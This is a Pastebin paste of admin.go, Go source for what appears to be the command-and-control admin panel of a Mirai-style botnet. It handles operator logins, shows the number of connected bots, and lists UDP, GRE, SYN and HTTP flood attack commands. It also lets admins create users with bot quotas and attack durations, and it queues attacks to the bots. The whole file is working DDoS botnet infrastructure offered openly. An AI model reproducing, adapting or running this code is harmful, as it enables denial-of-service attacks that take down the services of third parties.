Advertisement
wxrd

admin.go

Oct 28th, 2017
271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.41 KB | None | 0 0
  1. // ps not the coder skids
  2. package main
  3.  
  4. import (
  5. "fmt"
  6. "net"
  7. "time"
  8. "strings"
  9. "strconv"
  10. )
  11.  
  12. type Admin struct {
  13. conn net.Conn
  14. }
  15.  
  16. func NewAdmin(conn net.Conn) *Admin {
  17. return &Admin{conn}
  18. }
  19.  
  20. func (this *Admin) Handle() {
  21. this.conn.Write([]byte("\033[?1049h"))
  22. this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  23.  
  24. defer func() {
  25. this.conn.Write([]byte("\033[?1049l"))
  26. }()
  27.  
  28. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  29. this.conn.Write([]byte("\033[1;35mاسم المستخدم >\033[33;3m: \033[0m"))
  30. username, err := this.ReadLine(false)
  31. if err != nil {
  32. return
  33. }
  34.  
  35. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  36. this.conn.Write([]byte("\033[1;35mكلمه السر >\033[33;3m: \033[0m"))
  37. password, err := this.ReadLine(true)
  38. if err != nil {
  39. return
  40. }
  41.  
  42. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  43. this.conn.Write([]byte("\r\n"))
  44. spinBuf := []byte{'-', '\\', '|', '/'}
  45. for i := 0; i < 15; i++ {
  46. this.conn.Write(append([]byte("\r\033[1;31mAttemping to Authenicate! ...\033[31m"), spinBuf[i % len(spinBuf)]))
  47. time.Sleep(time.Duration(300) * time.Millisecond)
  48. }
  49.  
  50. var loggedIn bool
  51. var userInfo AccountInfo
  52. if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  53. this.conn.Write([]byte("\r\033[1;31mIncorrect Credentials!\r\n"))
  54. this.conn.Write([]byte("\033[0;37mPress any key to exit. (Any key)\033[0m"))
  55. buf := make([]byte, 1)
  56. this.conn.Read(buf)
  57. return
  58. }
  59.  
  60. this.conn.Write([]byte("\033[2J\033[1;1H"))
  61.  
  62. this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
  63. this.conn.Write([]byte("\r\033[31;1m* WELCOME TO THE BALL PIT *\r\n"))
  64. this.conn.Write([]byte("\r\033[31;1m* Now with \033[36;1mrefrigerator\x1b[31m support *\r\n"))
  65. this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
  66. this.conn.Write([]byte("\r\n"))
  67.  
  68.  
  69. go func() {
  70. i := 0
  71. for {
  72. var BotCount int
  73. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  74. BotCount = userInfo.maxBots
  75. } else {
  76. BotCount = clientList.Count()
  77. }
  78.  
  79. time.Sleep(time.Second)
  80. if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
  81. this.conn.Close()
  82. break
  83. }
  84. i++
  85. if i % 60 == 0 {
  86. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  87. }
  88. }
  89. }()
  90.  
  91. for {
  92. var botCatagory string
  93. var botCount int
  94.  
  95. this.conn.Write([]byte("\033[36;1m" + username + "@swatnet# \033[0m"))
  96.  
  97. cmd, err := this.ReadLine(false)
  98. if err != nil || cmd == "exit" || cmd == "quit" {
  99. return
  100. }
  101. if cmd == "clear" {
  102. this.conn.Write([]byte("\033[2J\033[1;1H"))
  103. this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
  104. this.conn.Write([]byte("\r\033[31;1m* WELCOME TO THE BALL PIT *\r\n"))
  105. this.conn.Write([]byte("\r\033[31;1m* Now with \033[36;1mrefrigerator\x1b[31m support *\r\n"))
  106. this.conn.Write([]byte("\r\033[31;1m*****************************************\r\n"))
  107. this.conn.Write([]byte("\r\n"))
  108. continue
  109. }
  110. if cmd == "HELP" || cmd == "help" {
  111. this.conn.Write([]byte("\r\033[36;1m< Attack Commands >\r\n"))
  112. this.conn.Write([]byte("\r\033[36;1mudp ip time\r\n"))
  113. this.conn.Write([]byte("\r\033[36;1mudplain ip time\r\n"))
  114. this.conn.Write([]byte("\r\033[36;1greip ip time\r\n"))
  115. this.conn.Write([]byte("\r\033[36;1msyn ip time\r\n"))
  116. this.conn.Write([]byte("\r\033[36;1mhttp <ip> <time> domain=<url> path=/ conns=<10000>\r\n"))
  117. this.conn.Write([]byte("\r\033[36;1m< System Commands >\r\n"))
  118. this.conn.Write([]byte("\r\033[36;1mClear - Clears screen\r\n"))
  119. this.conn.Write([]byte("\r\033[36;1madduser - Adds new user\r\n"))
  120. this.conn.Write([]byte("\r\033[36;1mbotcount - shows botcount\r\n"))
  121. continue
  122. }
  123. if cmd == "" {
  124. continue
  125. }
  126.  
  127. botCount = userInfo.maxBots
  128.  
  129. if userInfo.admin == 1 && cmd == "adduser" {
  130. this.conn.Write([]byte("Enter new username: "))
  131. new_un, err := this.ReadLine(false)
  132. if err != nil {
  133. return
  134. }
  135. this.conn.Write([]byte("Enter new password: "))
  136. new_pw, err := this.ReadLine(false)
  137. if err != nil {
  138. return
  139. }
  140. this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  141. max_bots_str, err := this.ReadLine(false)
  142. if err != nil {
  143. return
  144. }
  145. max_bots, err := strconv.Atoi(max_bots_str)
  146. if err != nil {
  147. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  148. continue
  149. }
  150. this.conn.Write([]byte("Max attack duration (-1 for none): "))
  151. duration_str, err := this.ReadLine(false)
  152. if err != nil {
  153. return
  154. }
  155. duration, err := strconv.Atoi(duration_str)
  156. if err != nil {
  157. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  158. continue
  159. }
  160. this.conn.Write([]byte("Cooldown time (0 for none): "))
  161. cooldown_str, err := this.ReadLine(false)
  162. if err != nil {
  163. return
  164. }
  165. cooldown, err := strconv.Atoi(cooldown_str)
  166. if err != nil {
  167. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  168. continue
  169. }
  170. this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  171. confirm, err := this.ReadLine(false)
  172. if err != nil {
  173. return
  174. }
  175. if confirm != "y" {
  176. continue
  177. }
  178. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  179. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  180. } else {
  181. this.conn.Write([]byte("\033[36;1mUser added successfully.\033[0m\r\n"))
  182. }
  183. continue
  184. }
  185. if userInfo.admin == 1 && cmd == "botcount" {
  186. m := clientList.Distribution()
  187. for k, v := range m {
  188. this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v) ))
  189. }
  190. continue
  191. }
  192. if cmd[0] == '-' {
  193. countSplit := strings.SplitN(cmd, " ", 2)
  194. count := countSplit[0][1:]
  195. botCount, err = strconv.Atoi(count)
  196. if err != nil {
  197. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  198. continue
  199. }
  200. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  201. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  202. continue
  203. }
  204. cmd = countSplit[1]
  205. }
  206. if userInfo.admin == 1 && cmd[0] == '@' {
  207. cataSplit := strings.SplitN(cmd, " ", 2)
  208. botCatagory = cataSplit[0][1:]
  209. cmd = cataSplit[1]
  210. }
  211.  
  212. atk, err := NewAttack(cmd, userInfo.admin)
  213. if err != nil {
  214. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  215. } else {
  216. buf, err := atk.Build()
  217. if err != nil {
  218. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  219. } else {
  220. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  221. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  222. } else if !database.ContainsWhitelistedTargets(atk) {
  223. clientList.QueueBuf(buf, botCount, botCatagory)
  224. } else {
  225. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  226. }
  227. }
  228. }
  229. }
  230. }
  231.  
  232. func (this *Admin) ReadLine(masked bool) (string, error) {
  233. buf := make([]byte, 1024)
  234. bufPos := 0
  235.  
  236. for {
  237. n, err := this.conn.Read(buf[bufPos:bufPos+1])
  238. if err != nil || n != 1 {
  239. return "", err
  240. }
  241. if buf[bufPos] == '\xFF' {
  242. n, err := this.conn.Read(buf[bufPos:bufPos+2])
  243. if err != nil || n != 2 {
  244. return "", err
  245. }
  246. bufPos--
  247. } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  248. if bufPos > 0 {
  249. this.conn.Write([]byte(string(buf[bufPos])))
  250. bufPos--
  251. }
  252. bufPos--
  253. } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  254. bufPos--
  255. } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  256. this.conn.Write([]byte("\r\n"))
  257. return string(buf[:bufPos]), nil
  258. } else if buf[bufPos] == 0x03 {
  259. this.conn.Write([]byte("^C\r\n"))
  260. return "", nil
  261. } else {
  262. if buf[bufPos] == '\x1B' {
  263. buf[bufPos] = '^';
  264. this.conn.Write([]byte(string(buf[bufPos])))
  265. bufPos++;
  266. buf[bufPos] = '[';
  267. this.conn.Write([]byte(string(buf[bufPos])))
  268. } else if masked {
  269. this.conn.Write([]byte("*"))
  270. } else {
  271. this.conn.Write([]byte(string(buf[bufPos])))
  272. }
  273. }
  274. bufPos++
  275. }
  276. return string(buf), nil
  277. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement